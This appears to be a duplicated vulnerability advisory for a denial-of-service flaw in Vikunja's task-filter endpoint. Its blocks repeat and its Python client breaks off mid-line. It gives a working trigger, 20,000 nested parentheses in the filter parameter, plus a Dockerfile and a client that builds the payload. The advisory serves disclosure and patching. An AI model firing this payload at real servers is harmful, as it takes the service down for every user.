CVE-2026-91968

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-xxc3-xpmc-vmvr. This link is maintained to preserve external references.

Original Description

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.

Unbounded nested task-filter recursion permits API process termination

Summary

Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.

Impact and affected scope

• Type: Resource Exhaustion Recursive Parser
• Affected component: GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
• Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
• Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026
• Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested

A single low-privileged network request can terminate the API process and deny service to all users.

Technical details

The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.

Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.

Relevant code:

• pkg/models/task_collection_filter.go:240
• pkg/models/task_collection_filter.go:268
• pkg/models/task_collection_filter.go:274
• pkg/models/task_collection_filter.go:276
• pkg/models/task_collection_filter.go:295

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true

# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.

Create reproduction/client.py:

#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request


BASE = "http://target:3456"


def request(method, path, body=None, token=None, expected=None, timeout=30):
    raw = None if body is None else json.dumps(body).encode()
    headers = {"Accept": "application/json"}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as response:
            status, data = response.status, response.read()
    except urllib.error.HTTPError as exc:
        status, data = exc.code, exc.read()
    print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
    if expected is not None and status != expected:
        raise RuntimeError(f"{method}: got {status}, expected {expected}")
    return status, json.loads(data.decode()) if data else {}


def wait_ready():
    for _ in range(240):
        try:
            if request("GET", "/api/v1/info")[0] == 200:
                return
        except Exception:
            pass
        time.sleep(0.25)
    raise RuntimeError("target did not become ready")


def filter_path(project_id, depth):
    expression = "(" * depth + "id = 1" + ")" * depth
    path = f"/api/v2/projects/{project_id}/tasks?filter=" +…

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-xxc3-xpmc-vmvr. This link is maintained to preserve external references.

Original Description

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.

Unbounded nested task-filter recursion permits API process termination

Summary

Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.

Impact and affected scope

• Type: Resource Exhaustion Recursive Parser
• Affected component: GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
• Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
• Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026
• Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested

A single low-privileged network request can terminate the API process and deny service to all users.

Technical details

The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.

Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.

Relevant code:

• pkg/models/task_collection_filter.go:240
• pkg/models/task_collection_filter.go:268
• pkg/models/task_collection_filter.go:274
• pkg/models/task_collection_filter.go:276
• pkg/models/task_collection_filter.go:295

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true

# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.

Create reproduction/client.py:

#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request


BASE = "http://target:3456"


def request(method, path, body=None, token=None, expected=None, timeout=30):
    raw = None if body is None else json.dumps(body).encode()
    headers = {"Accept": "application/json"}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as response:
            status, data = response.status, response.read()
    except urllib.error.HTTPError as exc:
        status, data = exc.code, exc.read()
    print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
    if expected is not None and status != expected:
        raise RuntimeError(f"{method}: got {status}, expected {expected}")
    return status, json.loads(data.decode()) if data else {}


def wait_ready():
    for _ in range(240):
        try:
            if request("GET", "/api/v1/info")[0] == 200:
                return
        except Exception:
            pass
        time.sleep(0.25)
    raise RuntimeError("target did not become ready")


def filter_path(project_id, depth):
    expression = "(" * depth + "id = 1" + ")" * depth
    path = f"/api/v2/projects/{project_id}/tasks?filter=" +…

Vikunja: Unbounded nested task-filter recursion permits API process termination in code.vikunja.io/api.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: code.vikunja.io/api from v2.5.0 before v2.6.0.